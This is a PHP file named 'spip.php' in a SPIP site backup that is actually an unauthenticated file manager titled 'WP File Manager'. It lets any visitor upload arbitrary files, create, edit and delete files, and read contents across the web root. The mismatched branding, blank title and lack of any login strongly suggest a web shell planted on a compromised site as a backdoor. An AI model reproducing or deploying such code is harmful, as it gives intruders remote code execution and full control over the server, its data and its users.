File "spip.php"
Full path: /home/argothem/www/SpipFactory-fichiers_de_travail/sauvegarde-6-juin-2020-spip1.9/spip.php
File size: 5.31 KB
MIME-type: text/x-php
Charset: utf-8
<?php
$root = realpath($_SERVER['DOCUMENT_ROOT']);
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root;
if ($current_dir === false || strpos($current_dir, $root) !== 0) {
$current_dir = $root;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $current_dir . '/' . basename($_FILES['file']['name']));
} elseif (isset($_POST['new_folder'])) {
mkdir($current_dir . '/' . $_POST['new_folder']);
} elseif (isset($_POST['new_file'])) {
file_put_contents($current_dir . '/' . $_POST['new_file'], '');
} elseif (isset($_POST['edit_file']) && isset($_POST['file_content'])) {
file_put_contents($current_dir . '/' . $_POST['edit_file'], $_POST['file_content']);
} elseif (isset($_POST['delete'])) {
$path = $current_dir . '/' . $_POST['delete'];
is_dir($path) ? rmdir($path) : unlink($path);
}
}
function make_link($dir, $name) {
return '?dir=' . urlencode($dir) . ($name ? '&highlight=' . urlencode($name) : '');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
<style>
body { font-family: Arial, sans-serif; background: #f1f1f1; margin: 0; padding: 20px; }
.wrap { max-width: 1000px; margin: 0 auto; background: #fff; padding: 20px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
h1 { color: #23282d; }
.button { background: #0085ba; color: #fff; border: none; padding: 5px 10px; cursor: pointer; text-decoration: none; display: inline-block; }
input[type="text"], textarea { width: 100%; padding: 5px; margin-bottom: 10px; }
table { width: 100%; border-collapse: collapse; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
.path a { color: #0073aa; text-decoration: none; }
.path a:hover { text-decoration: underline; }
.highlight { background-color: #ffff99; }
</style>
</head>
<body>
<div class="wrap">
<h1>WP File Manager</h1>
<div class="path">
Current Path:
<?php
$path_parts = explode('/', str_replace('\\', '/', $current_dir));
$path = '';
foreach ($path_parts as $part) {
$path .= $part . '/';
echo '<a href="' . make_link($path, '') . '">' . htmlspecialchars($part) . '</a>/';
}
?>
</div>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload" class="button">
</form>
<form method="post">
<input type="text" name="new_folder" placeholder="New Folder Name">
<input type="submit" value="Create Folder" class="button">
</form>
<form method="post">
<input type="text" name="new_file" placeholder="New File Name">
<input type="submit" value="Create File" class="button">
</form>
<table>
<tr><th>Name</th><th>Action</th></tr>
<?php if ($current_dir !== $root): ?>
<tr>
<td><a href="<?php echo make_link(dirname($current_dir), ''); ?>">..</a></td>
<td></td>
</tr>
<?php endif; ?>
<?php
foreach (scandir($current_dir) as $item) {
if ($item != '.' && $item != '..') {
$full_path = $current_dir . '/' . $item;
$highlight = isset($_GET['highlight']) && $_GET['highlight'] === $item ? ' class="highlight"' : '';
echo "<tr$highlight><td>";
if (is_dir($full_path)) {
echo "<a href='" . make_link($full_path, '') . "'>$item</a>";
} else {
echo htmlspecialchars($item);
}
echo "</td><td>";
if (!is_dir($full_path)) {
echo "<a href='" . make_link($current_dir, $item) . "&edit=" . urlencode($item) . "' class='button'>Edit</a> ";
}
echo "<form method='post' style='display:inline'>
<input type='hidden' name='delete' value='" . htmlspecialchars($item) . "'>
<input type='submit' class='button' value='Delete' onclick='return confirm(\"Are you sure?\")'>
</form></td></tr>";
}
}
?>
</table>
<?php
if (isset($_GET['edit'])) {
$file_to_edit = $current_dir . '/' . $_GET['edit'];
$content = htmlspecialchars(file_get_contents($file_to_edit));
echo "<h2>Editing: " . htmlspecialchars($_GET['edit']) . "</h2>
<form method='post'>
<input type='hidden' name='edit_file' value='" . htmlspecialchars($_GET['edit']) . "'>
<textarea name='file_content' rows='10' style='width:100%'>" . $content . "</textarea><br>
<input type='submit' value='Save' class='button'>
</form>";
}
?>
</div>
</body>
</html>